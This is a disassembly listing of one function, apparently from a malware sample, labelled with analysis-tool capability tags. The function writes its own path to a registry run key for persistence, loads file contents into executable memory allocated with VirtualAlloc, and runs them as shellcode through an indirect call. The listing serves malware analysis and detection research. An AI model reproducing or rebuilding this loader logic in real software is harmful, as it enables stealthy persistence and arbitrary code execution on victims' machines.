Function at 0x10001f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e020
mov eax, dword fs:[0]
push eax
sub esp, 0x1ec
mov eax, dword [0x1002d064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1d4]
push eax
push 0x10029900
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001ff1
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x118]
push eax
push 1
push 0
push 0
push dword [ebp - 0x1d4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1d4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xb8
lea eax, [ebp - 0x1d0]
push 0
push eax
call fcn.10007ba0
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.10003270
cmp dword [ebp - 0x174], 0
jne 0x10002036
mov edx, 0x10029944
mov ecx, 0x1002e060
call fcn.10004850
push eax
call fcn.10004af0
add esp, 4
jmp 0x100021f7
push 2
sub esp, 8
lea ecx, [ebp - 0x1d0]
call fcn.100037a0
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x1d0]
call fcn.100036a0
push 0
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
sub esp, 8
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1d0]
call fcn.100037a0
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1dc], eax
test eax, eax
jne 0x100020ec
mov edx, 0x1002995c
mov ecx, 0x1002e060
call fcn.10004850
push eax
call fcn.10004af0
add esp, 4
lea ecx, [ebp - 0x1c0]
call fcn.100040b0
test eax, eax
jne 0x100021f7
mov eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1d0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001dc0
jmp 0x100021f7
xor esi, esi
xor ebx, ebx
test edi, edi
je 0x10002149
cmp edi, 0x7fffffff
ja 0x10002293
cmp edi, 0x1000
jb 0x1000212f
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x10002298
push eax
call fcn.10006143
add esp, 4
test eax, eax
je 0x1000228e
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x1000213a
push edi
call fcn.10006143
add esp, 4
mov esi, eax
push edi
push 0
push esi
lea ebx, [esi + edi]
call fcn.10007ba0
add esp, 0xc
push 0
push edi
push esi
lea ecx, [ebp - 0x1d0]
call fcn.100038e0
push edi
mov edi, dword [ebp - 0x1dc]
push esi
push edi
call fcn.10007600
add esp, 0xc
lea ecx, [ebp - 0x1c0]
call fcn.100040b0
test eax, eax
jne 0x100021a1
mov eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1d0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001dc0
mov edx, 0x1002996c
mov ecx, 0x1002e110
call fcn.10004850
push eax
call fcn.10004af0
add esp, 4
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x100021f7
sub ebx, esi
cmp ebx, 0x1000
jb 0x100021ed
mov ecx, dword [esi - 4]
add ebx, 0x23
sub esi, ecx
lea eax, [esi - 4]
cmp eax, 0x1f
ja 0x1000228e
mov esi, ecx
push ebx
push esi
call fcn.10006112
add esp, 8
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1d4], eax
lea ecx, [ebp - 0x1c0]
call fcn.10002f00
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x1d4], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10005b73
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006104
mov esp, ebp
pop ebp
ret
call fcn.1000acba
call fcn.10005310
call fcn.10001250
int3